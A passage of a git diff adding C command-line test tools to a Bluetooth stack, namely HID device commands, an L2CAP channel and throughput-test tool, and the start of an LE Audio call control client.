(bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + rpt_data[1] = strtol(argv[1], NULL, 16); + + PRINT("consumer key: 0x%02X", rpt_data[1]); + if (bt_hid_device_send_report(handle, &addr, 1, rpt_data, sizeof(rpt_data)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + rpt_data[1] = 0; + if (bt_hid_device_send_report(handle, &addr, 1, rpt_data, sizeof(rpt_data)) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int unplug_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_hid_device_virtual_unplug(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + PRINT("HID device virtual unplug success, address:%s", argv[0]); + + return CMD_OK; +} + +static int dump_cmd(void* handle, int argc, char* argv[]) +{ + return CMD_OK; +} + +static const hid_device_callbacks_t hidd_test_cbs = { + sizeof(hid_device_callbacks_t), + hidd_app_state_cb, + hidd_connection_state_cb, + hidd_get_report_cb, + hidd_set_report_cb, + hidd_receive_report_cb, + hidd_virtual_unplug_cb, +}; + +int hidd_command_init(void* handle) +{ + hidd_callbacks = bt_hid_device_register_callbacks(handle, &hidd_test_cbs); + + return 0; +} + +void hidd_command_uninit(void* handle) +{ + bt_hid_device_unregister_callbacks(handle, hidd_callbacks); +} + +int hidd_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) + ret = execute_command_in_table(handle, g_hidd_tables, ARRAY_SIZE(g_hidd_tables), argc, argv); + + if (ret < 0) + usage(); + + return ret; +} diff --git a/tools/l2cap.c b/tools/l2cap.c new file mode 100644 index 0000000000000000000000000000000000000000..a53f323567053b74b71d98091239edbdeeec4719 --- /dev/null +++ b/tools/l2cap.c @@ -0,0 +1,767 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdlib.h> +#include <string.h> + +#include "bt_l2cap.h" +#include "bt_list.h" +#include "bt_tools.h" +#include "euv_pipe.h" +#include "uv_thread_loop.h" + +#define L2CAP_TRANS_MTU_CFG 1000 +#define L2CAP_TRANS_MPS_CFG 251 +#define L2CAP_TRANS_CREDIT_CFG 30 + +typedef struct { + struct list_node node; + euv_pipe_t* pipe; + uint16_t psm; + uint16_t cid; + uint16_t id; + bool is_listening; +} l2cap_chnl_t; + +typedef struct { + bt_address_t addr; + uint16_t id; + uint16_t psm; + uint16_t cid; + uint16_t listen_id; // for server listen + bool is_listening; + char* proxy_name; + uint8_t* buf; + uint16_t len; +} l2cap_msg_t; + +typedef struct { + void* handle; + enum { + TRANS_IDLE = 0, + TRANS_WRITING, + TRANS_SENDING, + TRANS_RECVING, + TRANS_ECHO, + } state; + uint8_t* bulk_buf; + int32_t bulk_count; + uint32_t bulk_length; + uint32_t trans_total_size; + uint32_t received_size; + uint64_t start_timestamp; + uint64_t end_timestamp; +} l2cap_trans_ctx_t; + +static const char* TRANS_START = "START:"; +static const char* TRANS_START_ACK = "START_ACK"; +static const char* TRANS_EOF = "EOF"; + +static uv_loop_t g_l2cap_thread; +static void* g_l2cap_handle; +static struct list_node channel_list = LIST_INITIAL_VALUE(channel_list); +static l2cap_trans_ctx_t g_trans_ctx = { 0 }; +static sem_t speed_tx_sem; + +static void cleanup_l2cap_channel(void* data) +{ + struct list_node* node; + struct list_node* tmp; + struct list_node* list = &channel_list; + + list_for_every_safe(list, node, tmp) + { + list_delete(node); + if (((l2cap_chnl_t*)node)->pipe) { + euv_pipe_disconnect(((l2cap_chnl_t*)node)->pipe); + } + + free(node); + } +} + +static l2cap_chnl_t* find_channel_by_id(uint16_t id) +{ + struct list_node* node; + struct list_node* list = &channel_list; + l2cap_chnl_t* channel; + + list_for_every(list, node) + { + channel = (l2cap_chnl_t*)node; + if (channel->id == id) { + return channel; + } + } + + return NULL; +} + +static void l2cap_trans_reset(void) +{ + memset(&g_trans_ctx, 0, sizeof(g_trans_ctx)); +} + +static void write_complete_cb(euv_pipe_t* handle, uint8_t* buf, int status) +{ + free(buf); +} + +static void bulk_trans_complete(euv_pipe_t* handle, uint8_t* buf, int status) +{ + l2cap_trans_ctx_t* ctx = &g_trans_ctx; + + ctx->bulk_count--; + if (ctx->bulk_count) + euv_pipe_write(handle, buf, ctx->bulk_length, bulk_trans_complete); + else + free(buf); +} + +static bool bulk_buf_gen(uint8_t** buf, uint32_t length) +{ + uint32_t data_len; + struct bulk_buf_t { + char delimiter[4]; + uint32_t length; + uint8_t filled_data[0]; + } * bulk_buf; + + if (length < sizeof(struct bulk_buf_t)) { + PRINT("bulk length is too short"); + return false; + } + + bulk_buf = malloc(length); + if (!bulk_buf) { + PRINT("allocate bulk buffer failed"); + return false; + } + + strncpy(bulk_buf->delimiter, "Vela", 4); + bulk_buf->length = length; + data_len = length - sizeof(struct bulk_buf_t); + for (uint32_t i = 0; i < data_len; i++) { + bulk_buf->filled_data[i] = (uint8_t)(i % 256); + } + + *buf = (uint8_t*)bulk_buf; + return true; +} + +static void show_result(uint64_t start, uint64_t end, uint32_t bytes) +{ + float use = (float)(end - start) / 1000; + float spd = (float)(bytes / 1024) / use; + + PRINT("transmit done, total: %" PRIu32 " bytes, use: %f seconds, speed: %f KB/s", bytes, use, spd); +} + +static void handle_l2cap_data_recv(euv_pipe_t* handle, const uint8_t* buf, ssize_t size) +{ + l2cap_trans_ctx_t* ctx = &g_trans_ctx; + if (ctx->state != TRANS_IDLE && handle != ctx->handle) { + PRINT("l2cap is testing ,ignore it"); + return; + } + + switch (ctx->state) { + case TRANS_IDLE: + if (strncmp((const char*)buf, TRANS_START, strlen(TRANS_START)) == 0) { + l2cap_trans_reset(); + ctx->handle = handle; + ctx->state = TRANS_RECVING; + sscanf((const char*)buf, "START:%" PRIu32 ";", &ctx->trans_total_size); + PRINT("receive start, waiting for %" PRIu32 " bytes transmit done", ctx->trans_total_size); + euv_pipe_write(handle, (uint8_t*)TRANS_START_ACK, strlen(TRANS_START_ACK), NULL); + ctx->start_timestamp = get_timestamp_msec(); + } else + lib_dumpbuffer("read data:", buf, size); // no need to free + break; + case TRANS_SENDING: + if (strncmp((const char*)buf, TRANS_EOF, strlen(TRANS_EOF)) == 0) { + ctx->end_timestamp = get_timestamp_msec(); + show_result(ctx->start_timestamp, ctx->end_timestamp, ctx->trans_total_size); + l2cap_trans_reset(); + } else if (strncmp((const char*)buf, TRANS_START_ACK, strlen(TRANS_START_ACK)) == 0) { + sem_post(&speed_tx_sem); + if (!bulk_buf_gen(&ctx->bulk_buf, ctx->bulk_length)) { + l2cap_trans_reset(); + PRINT("generate bulk buffer failed"); + // TBD: send error to peer to end test + return; + } + + ctx->start_timestamp = get_timestamp_msec(); + euv_pipe_write(handle, ctx->bulk_buf, ctx->bulk_length, bulk_trans_complete); + } + break; + case TRANS_RECVING: + ctx->received_size += size; + if (ctx->received_size >= ctx->trans_total_size) { + ctx->end_timestamp = get_timestamp_msec(); + show_result(ctx->start_timestamp, ctx->end_timestamp, ctx->trans_total_size); + euv_pipe_write(handle, (uint8_t*)TRANS_EOF, strlen(TRANS_EOF), NULL); + l2cap_trans_reset(); + } + break; + default: + break; + } +} + +static void read_complete_cb(euv_pipe_t* pipe, const uint8_t* buf, ssize_t nread) +{ + if (nread > 0) { + handle_l2cap_data_recv(pipe, buf, nread); + + } else if (nread < 0) { + PRINT("read failed:%s, wait for connection disconnect", uv_strerror(nread)); + } +} + +static void data_path_connected_cb(euv_pipe_t* pipe, int status, void* data) +{ + l2cap_chnl_t* channel = (l2cap_chnl_t*)data; + + PRINT("l2cap channel(id:%" PRIu16 ") data path establish status:%d", channel->id, status); +} + +static void add_l2cap_channel(void* data) +{ + l2cap_msg_t* msg = (l2cap_msg_t*)data; + l2cap_chnl_t* channel; + + channel = (l2cap_chnl_t*)zalloc(sizeof(l2cap_chnl_t)); + if (!channel) { + PRINT("allocate channel failed"); + goto free_msg; + // TBD: cancel l2cap channel listen or connect immediately? + } + + PRINT("L2cap channel(id:%" PRIu16 ") alloc success", msg->id); + channel->id = msg->id; + channel->psm = msg->psm; + channel->is_listening = msg->is_listening; + channel->pipe = euv_pipe_connect(&g_l2cap_thread, msg->proxy_name, data_path_connected_cb, channel); + if (!channel->pipe) { + PRINT("connect pipe failed"); + free(channel); + goto free_msg; + } + + list_add_tail(&channel_list, &channel->node); + +free_msg: + free(msg->proxy_name); + free(msg); +} + +static void l2cap_channel_connected_process(void* data) +{ + int ret; + l2cap_msg_t* msg = (l2cap_msg_t*)data; + l2cap_chnl_t* channel; + + channel = find_channel_by_id(msg->id); + if (channel == NULL) { + PRINT("%s, channel not found", __func__); + goto free_msg; + } + + channel->cid = msg->cid; + PRINT("L2cap channel(id:%" PRIu16 "/cid:0x%" PRIx16 ") connected", msg->id, msg->cid); + ret = euv_pipe_read_start(channel->pipe, 2048, read_complete_cb, NULL); + if (ret) { + PRINT("start read pipe failed"); + // disconnect data path, l2cap service will disconnect l2cap channel + euv_pipe_disconnect(channel->pipe); + list_delete(&channel->node); + free(channel); + goto free_msg; + } + + if (msg->listen_id != INVALID_L2CAP_LISTEN_ID) { + channel->is_listening = false; /* listen channel transfer to connected(accept) channel */ + PRINT("prepare a new listen channel(id: %" PRIu16 ") for PSM:0x%" PRIx16, msg->listen_id, msg->psm); + /* Create a new channel for listening */ + msg->id = msg->listen_id; + msg->is_listening = true; + add_l2cap_channel((void*)msg); + return; + } + +free_msg: + if (msg->proxy_name) + free(msg->proxy_name); + + free(msg); +} + +static void l2cap_channel_disconnected_process(void* data) +{ + l2cap_msg_t* msg = (l2cap_msg_t*)data; + l2cap_chnl_t* channel; + + channel = find_channel_by_id(msg->id); + if (channel == NULL) { + PRINT("%s, channel not found", __func__); + free(msg); + return; + } + + if (g_trans_ctx.handle == channel->pipe) { + l2cap_trans_reset(); + } + + PRINT("free channel(id:%" PRIu16 ")", msg->id); + if (channel->pipe) { + euv_pipe_disconnect(channel->pipe); + channel->pipe = NULL; + } + + list_delete(&channel->node); + free(channel); + free(msg); +} + +static void do_l2cap_write(void* data) +{ + l2cap_msg_t* msg; + l2cap_chnl_t* channel; + + if (!data) { + PRINT("invalid arg\n"); + return; + } + + msg = (l2cap_msg_t*)data; + channel = find_channel_by_id(msg->id); + if (channel == NULL || channel->pipe == NULL) { + PRINT("channel not found or pipe disconnected\n"); + free(msg->buf); + free(msg); + return; + } + + PRINT("L2cap channel(id:%" PRIu16 ") write %d bytes\n", msg->id, msg->len); + lib_dumpbuffer("write data:", msg->buf, msg->len); + euv_pipe_write(channel->pipe, msg->buf, msg->len, write_complete_cb); + free(msg); +} + +static void do_l2cap_stop_listen(void* data) +{ + l2cap_msg_t* msg = (l2cap_msg_t*)data; + struct list_node* node; + struct list_node* tmp; + struct list_node* list = &channel_list; + l2cap_chnl_t* channel; + + list_for_every_safe(list, node, tmp) + { + channel = (l2cap_chnl_t*)node; + if (channel->is_listening && channel->psm == msg->psm) { + PRINT("free listen channel(id:%" PRIu16 ") for psm:0x%" PRIx16, channel->id, msg->psm); + if (channel->pipe) { + euv_pipe_disconnect(channel->pipe); + channel->pipe = NULL; + } + + list_delete(&channel->node); + free(channel); + channel = NULL; + break; + } + } + + free(msg); +} + +static void do_l2cap_speed_test(void* data) +{ + l2cap_msg_t* msg = (l2cap_msg_t*)data; + l2cap_chnl_t* channel; + l2cap_trans_ctx_t* trans_ctx = &g_trans_ctx; + uint16_t times; + uint16_t id; + static uint8_t start[100]; + + id = msg->id; + times = msg->len; + free(msg); + + channel = find_channel_by_id(id); + if (channel == NULL || channel->pipe == NULL) { + PRINT("channel not found or pipe disconnected"); + return; + } + + if (trans_ctx->state != TRANS_IDLE) { + PRINT("l2cap is testing"); + return; + } + + trans_ctx->handle = channel->pipe; + trans_ctx->state = TRANS_SENDING; + trans_ctx->bulk_length = L2CAP_TRANS_MTU_CFG; + trans_ctx->bulk_count = times; + trans_ctx->trans_total_size = L2CAP_TRANS_MTU_CFG * times; + + PRINT("L2cap channel(id:%" PRIu16 ") speed test", id); + memset(start, 0, sizeof(start)); + sprintf((char*)start, "START:%" PRIu32 ";", trans_ctx->trans_total_size); + euv_pipe_write(channel->pipe, start, strlen((const char*)start), NULL); + PRINT("transmit start, waiting for %" PRIu32 " bytes transmit done", trans_ctx->trans_total_size); +} + +static void on_connected(void* handle, l2cap_connect_params_t* params) +{ + l2cap_msg_t* msg; + + if (!params) { + PRINT("invalid arg\n"); + return; + } + + msg = (l2cap_msg_t*)zalloc(sizeof(l2cap_msg_t)); + if (!msg) { + PRINT("allocate msg failed\n"); + return; + } + + msg->id = params->id; + msg->psm = params->psm; + msg->cid = params->cid; + msg->listen_id = params->listen_id; + if (params->listen_id != INVALID_L2CAP_LISTEN_ID) { + PRINT("new listen(id: %" PRIu16 "/ proxy_name: %s) for listen psm: 0x%" PRIx16, + params->listen_id, params->proxy_name, params->psm); + msg->proxy_name = strdup(params->proxy_name); + if (!msg->proxy_name) { + PRINT("%s, allocate proxy name failed", __func__); + free(msg); + return; + } + } + + memcpy(&msg->addr, ¶ms->addr, sizeof(bt_address_t)); + do_in_thread_loop(&g_l2cap_thread, l2cap_channel_connected_process, msg); +} + +static void on_disconnected(void* handle, bt_address_t* addr, uint16_t id, uint32_t reason) +{ + l2cap_msg_t* msg; + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + + if (!addr) { + PRINT("invalid arg\n"); + return; + } + + bt_addr_ba2str(addr, addr_str); + PRINT("l2cap channel(id:%" PRIu16 ") disconnected, reason:%" PRIu32 ", addr:%s\n", id, reason, addr_str); + + msg = (l2cap_msg_t*)malloc(sizeof(l2cap_msg_t)); + if (!msg) { + PRINT("allocate msg failed\n"); + return; + } + + msg->id = id; + memcpy(&msg->addr, addr, sizeof(bt_address_t)); + do_in_thread_loop(&g_l2cap_thread, l2cap_channel_disconnected_process, msg); +} + +static l2cap_callbacks_t l2cap_callback = { + .size = sizeof(l2cap_callbacks_t), + .on_connected = on_connected, + .on_disconnected = on_disconnected, +}; + +static int connect_cmd(void* handle, int argc, char* argv[]) +{ + bt_address_t addr; + l2cap_config_option_t conn_option = { 0 }; + l2cap_msg_t* msg; + + if (!handle || !g_l2cap_handle) { + PRINT("L2CAP tool not ready!\n"); + return CMD_ERROR; + } + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + msg = (l2cap_msg_t*)zalloc(sizeof(l2cap_msg_t)); + if (!msg) { + PRINT("allocate msg failed"); + return CMD_ERROR; + } + + conn_option.psm = strtoul(argv[1], NULL, 0); + // defaule param + conn_option.transport = BT_TRANSPORT_BLE; + conn_option.mode = L2CAP_CHANNEL_MODE_LE_CREDIT_BASED_FLOW_CONTROL; + conn_option.mtu = L2CAP_TRANS_MTU_CFG; + conn_option.le_mps = L2CAP_TRANS_MPS_CFG; + conn_option.init_credits = L2CAP_TRANS_CREDIT_CFG; + if (bt_l2cap_connect(handle, g_l2cap_handle, &addr, &conn_option) != BT_STATUS_SUCCESS) { + PRINT("connect %s failed", argv[0]); + free(msg); + return CMD_ERROR; + } + + PRINT("L2cap channel(id:%" PRIu16 ") connecting", conn_option.id); + + msg->id = conn_option.id; + msg->psm = conn_option.psm; + msg->proxy_name = strdup(conn_option.proxy_name); + msg->is_listening = false; + memcpy(&msg->addr, &addr, sizeof(bt_address_t)); + do_in_thread_loop(&g_l2cap_thread, add_l2cap_channel, msg); + + return CMD_OK; +} + +static int listen_cmd(void* handle, int argc, char* argv[]) +{ + l2cap_config_option_t conn_option = { 0 }; + l2cap_msg_t* msg; + + if (!handle || !g_l2cap_handle) { + PRINT("L2CAP tool not ready!\n"); + return CMD_ERROR; + } + + if (argc < 1) + conn_option.psm = 0; + else + conn_option.psm = strtoul(argv[0], NULL, 0); + + msg = (l2cap_msg_t*)zalloc(sizeof(l2cap_msg_t)); + if (!msg) { + PRINT("allocate msg failed"); + return CMD_ERROR; + } + + // default param + conn_option.transport = BT_TRANSPORT_BLE; + conn_option.mode = L2CAP_CHANNEL_MODE_LE_CREDIT_BASED_FLOW_CONTROL; + conn_option.mtu = L2CAP_TRANS_MTU_CFG; + conn_option.le_mps = L2CAP_TRANS_MPS_CFG; + conn_option.init_credits = L2CAP_TRANS_CREDIT_CFG; + if (bt_l2cap_listen(handle, g_l2cap_handle, &conn_option) != BT_STATUS_SUCCESS) { + PRINT("listen 0x%" PRIx16 " failed", conn_option.psm); + free(msg); + return CMD_ERROR; + } + + PRINT("L2cap channel(id:%" PRIu16 "/psm:0x%" PRIx16 ") start listen", conn_option.id, conn_option.psm); + msg->id = conn_option.id; + msg->psm = conn_option.psm; + msg->is_listening = true; + msg->proxy_name = strdup(conn_option.proxy_name); + do_in_thread_loop(&g_l2cap_thread, add_l2cap_channel, msg); + + return CMD_OK; +} + +static int disconnect_cmd(void* handle, int argc, char* argv[]) +{ + uint16_t id; + + if (!handle || !g_l2cap_handle) { + PRINT("L2CAP tool not ready!\n"); + return CMD_ERROR; + } + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + id = strtoul(argv[0], NULL, 10); + if (bt_l2cap_disconnect(handle, g_l2cap_handle, id) != BT_STATUS_SUCCESS) { + PRINT("disconnect %" PRIu16 " failed", id); + return CMD_ERROR; + } + + PRINT("L2cap channel(id:%" PRIu16 ") disconnecting", id); + + return CMD_OK; +} + +static int write_cmd(void* handle, int argc, char* argv[]) +{ + uint8_t* buf; + l2cap_msg_t* msg; + + if (!handle || !g_l2cap_handle) { + PRINT("L2CAP tool not ready!\n"); + return CMD_ERROR; + } + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + buf = (uint8_t*)strdup(argv[1]); + if (buf == NULL) { + PRINT("allocate buf failed\n"); + return CMD_ERROR; + } + + msg = (l2cap_msg_t*)malloc(sizeof(l2cap_msg_t)); + if (!msg) { + PRINT("allocate msg failed\n"); + free(buf); + return CMD_ERROR; + } + + msg->id = strtoul(argv[0], NULL, 10); + msg->buf = buf; + msg->len = strlen((char*)buf); + do_in_thread_loop(&g_l2cap_thread, do_l2cap_write, msg); + + return CMD_OK; +} + +static int stop_listen_cmd(void* handle, int argc, char* argv[]) +{ + uint16_t psm; + l2cap_msg_t* msg; + + if (!handle || !g_l2cap_handle) { + PRINT("L2CAP tool not ready!"); + return CMD_ERROR; + } + + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + msg = (l2cap_msg_t*)zalloc(sizeof(l2cap_msg_t)); + if (!msg) { + PRINT("allocate msg failed"); + return CMD_ERROR; + } + + psm = strtoul(argv[0], NULL, 0); + if (bt_l2cap_stop_listen_with_transport(handle, g_l2cap_handle, BT_TRANSPORT_BLE, psm) != BT_STATUS_SUCCESS) { + PRINT("stop listen 0x%" PRIX16 " failed", psm); + return CMD_ERROR; + } + + PRINT("L2cap stop listen psm:0x%" PRIx16, psm); + msg->psm = psm; + do_in_thread_loop(&g_l2cap_thread, do_l2cap_stop_listen, msg); + + return CMD_OK; +} + +static int speed_test_cmd(void* handle, int argc, char* argv[]) +{ + l2cap_msg_t* msg; + struct timespec ts; + + if (!handle || !g_l2cap_handle) { + PRINT("L2CAP tool not ready!"); + return CMD_ERROR; + } + + if (argc < 2) + return CMD_PARAM_NOT_ENOUGH; + + msg = (l2cap_msg_t*)malloc(sizeof(l2cap_msg_t)); + if (!msg) { + PRINT("allocate msg failed"); + return CMD_ERROR; + } + + msg->id = strtoul(argv[0], NULL, 10); + msg->len = strtoul(argv[1], NULL, 10); + if (msg->id < 0 || msg->len <= 0) { + PRINT("invalid param"); + free(msg); + return CMD_ERROR; + } + + do_in_thread_loop(&g_l2cap_thread, do_l2cap_speed_test, msg); + + clock_gettime(CLOCK_REALTIME, &ts); + ts.tv_sec += 2; + if (sem_timedwait(&speed_tx_sem, &ts) < 0) { + PRINT("wait speed test ack failed"); + l2cap_trans_reset(); + return CMD_ERROR; + } + + return CMD_OK; +} + +static bt_command_t g_l2cap_commands[] = { + { "connect", connect_cmd, 0, "\"connect l2cap channel param: <address> <psm>\"" }, + { "listen", listen_cmd, 0, "\"listen l2cap channel param: <psm>\"" }, + { "disconnect", disconnect_cmd, 0, "\"disconnect l2cap channel param: <id>\"" }, + { "stoplisten", stop_listen_cmd, 0, "\"stop listen l2cap channel param: <psm>\"" }, + { "write", write_cmd, 0, "\"write data to peer param: <id> <data>\"" }, + { "speed", speed_test_cmd, 0, "\"speed test l2cap channel param: <id> <iteration>\"" }, +}; + +static void usage(void) +{ + int i; + + printf("Usage:\n"); + printf("\tpsm: Protocol/Service Multiplexer value(128~191, 0 only for start listen)\n"); + printf("\tid: L2CAP Sock id, which is returned by connect/listen command\n"); + printf("\tCommands:\n"); + for (i = 0; i < ARRAY_SIZE(g_l2cap_commands); i++) { + printf("\t%-8s\t%s\n", g_l2cap_commands[i].cmd, g_l2cap_commands[i].help); + } +} + +int l2cap_command_exec(void* handle, int argc, char* argv[]) +{ + int ret = CMD_USAGE_FAULT; + + if (argc > 0) { + ret = execute_command_in_table(handle, g_l2cap_commands, ARRAY_SIZE(g_l2cap_commands), argc, argv); + } + + if (ret < 0) + usage(); + + return ret; +} + +int l2cap_command_init(void* handle) +{ + sem_init(&speed_tx_sem, 0, 0); + thread_loop_init(&g_l2cap_thread); + thread_loop_run(&g_l2cap_thread, true, "bttool-l2cap"); + g_l2cap_handle = bt_l2cap_register_callbacks(handle, &l2cap_callback); + + return 0; +} + +void l2cap_command_uninit(void* handle) +{ + do_in_thread_loop(&g_l2cap_thread, cleanup_l2cap_channel, NULL); + bt_l2cap_unregister_callbacks(handle, g_l2cap_handle); + thread_loop_exit(&g_l2cap_thread); + sem_destroy(&speed_tx_sem); + memset(&g_l2cap_thread, 0, sizeof(g_l2cap_thread)); +} diff --git a/tools/lea_ccp.c b/tools/lea_ccp.c new file mode 100644 index 0000000000000000000000000000000000000000..a20d44a77bee7f996774079776612603589a33f6 --- /dev/null +++ b/tools/lea_ccp.c @@ -0,0 +1,395 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <getopt.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include "bluetooth.h" +#include "bt_adapter.h" +#include "bt_lea_ccp.h" +#include "bt_tools.h" + +/// lea_interface_t +static int ccp_read_bearer_provider_name(void* handle, int argc, char* argv[]); +static int ccp_read_bearer_uci(void* handle, int argc, char* argv[]); +static int ccp_read_bearer_technology(void* handle, int argc, char* argv[]); +static int ccp_read_bearer_uri_schemes_supported_list(void* handle, int argc, char* argv[]); +static int ccp_read_bearer_signal_strength(void* handle, int argc, char* argv[]); +static int ccp_read_bearer_signal_strength_report_interval(void* handle, int argc, char* argv[]); +static int ccp_read_content_control_id(void* handle, int argc, char* argv[]); +static int ccp_read_status_flags(void* handle, int argc, char* argv[]); +static int ccp_read_call_control_optional_opcodes(void* handle, int argc, char* argv[]); +static int ccp_read_incoming_call(void* handle, int argc, char* argv[]); +static int ccp_read_incoming_call_target_bearer_uri(void* handle, int argc, char* argv[]); +static int ccp_read_call_state(void* handle, int argc, char* argv[]); +static int ccp_read_bearer_list_current_calls(void* handle, int argc, char* argv[]); +static int ccp_read_call_friendly_name(void* handle, int argc, char* argv[]); +static int ccp_call_control_by_index(void* handle, int argc, char* argv[]); +static int ccp_originate_call(void* handle, int argc, char* argv[]); +static int ccp_join_calls(void* handle, int argc, char* argv[]); + +#define ccp_CALL_CONTROL "call control by index param: <addr><opcode>" +#define ccp_ORIGINATE_CALL "originate param: <addr><uri>" +#define ccp_JOIN_CALL "join param: <addr><number><call_index1><call_index2>" + +static bt_command_t g_lea_ccp_tables[] = { + { "readprovidername", ccp_read_bearer_provider_name, 0, "read bearer provider name param: <addr>" }, + { "readuci", ccp_read_bearer_uci, 0, "read bearer uci param: <addr>" }, + { "readtech", ccp_read_bearer_technology, 0, "read bearer technology param: <addr>" }, + { "readurischemeslist", ccp_read_bearer_uri_schemes_supported_list, 0, "read bearer uri schemes supported list param: <addr>" }, + { "readstrength", ccp_read_bearer_signal_strength, 0, "read bearer signal strength param: <addr>" }, + { "readinterval", ccp_read_bearer_signal_strength_report_interval, 0, "read ss report interval param: <addr>" }, + { "readccid", ccp_read_content_control_id, 0, "read ccid param: <addr>" }, + { "readstatusflags", ccp_read_status_flags, 0, "read status flags param: <addr>" }, + { "readopcode", ccp_read_call_control_optional_opcodes, 0, "read call control optional opcode param: <addr>" }, + { "readincoming", ccp_read_incoming_call, 0, "read incoming call param: <addr>" }, + { "readtargeturi", ccp_read_incoming_call_target_bearer_uri, 0, "read incoming call target bearer uri param: <addr>" }, + { "readcallstate", ccp_read_call_state, 0, "read call state param: <addr>" }, + { "readlistcall", ccp_read_bearer_list_current_calls, 0, "read bearer list current call param: <addr>" }, + { "readfriendlyname", ccp_read_call_friendly_name, 0, "read call friendly name param: <addr>" }, + { "callcontrol", ccp_call_control_by_index, 0, ccp_CALL_CONTROL }, + { "originate", ccp_originate_call, 0, ccp_ORIGINATE_CALL }, + { "join", ccp_join_calls, 0, ccp_JOIN_CALL }, +}; + +static void* ccp_callbacks = NULL; + +static void usage(void) +{ + printf("Usage:\n"); + printf("\taddress: peer device address like 00:01:02:03:04:05\n"); + printf("Commands:\n"); + for (int i = 0; i < ARRAY_SIZE(g_lea_ccp_tables); i++) { + printf("\t%-8s\t%s\n", g_lea_ccp_tables[i].cmd, g_lea_ccp_tables[i].help); + } +} + +/* interface */ +static int ccp_read_bearer_provider_name(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_bearer_provider_name(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_bearer_uci(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_bearer_uci(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_bearer_technology(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_bearer_technology(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_bearer_uri_schemes_supported_list(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_bearer_uri_schemes_supported_list(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_bearer_signal_strength(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_bearer_signal_strength(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_bearer_signal_strength_report_interval(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_bearer_signal_strength_report_interval(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_content_control_id(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_content_control_id(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_status_flags(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if (bt_addr_str2ba(argv[0], &addr) < 0) + return CMD_INVALID_ADDR; + + if (bt_lea_ccp_read_status_flags(handle, &addr) != BT_STATUS_SUCCESS) + return CMD_ERROR; + + return CMD_OK; +} + +static int ccp_read_call_control_optional_opcodes(void* handle, int argc, char* argv[]) +{ + if (argc < 1) + return CMD_PARAM_NOT_ENOUGH; + + bt_address_t addr; + if 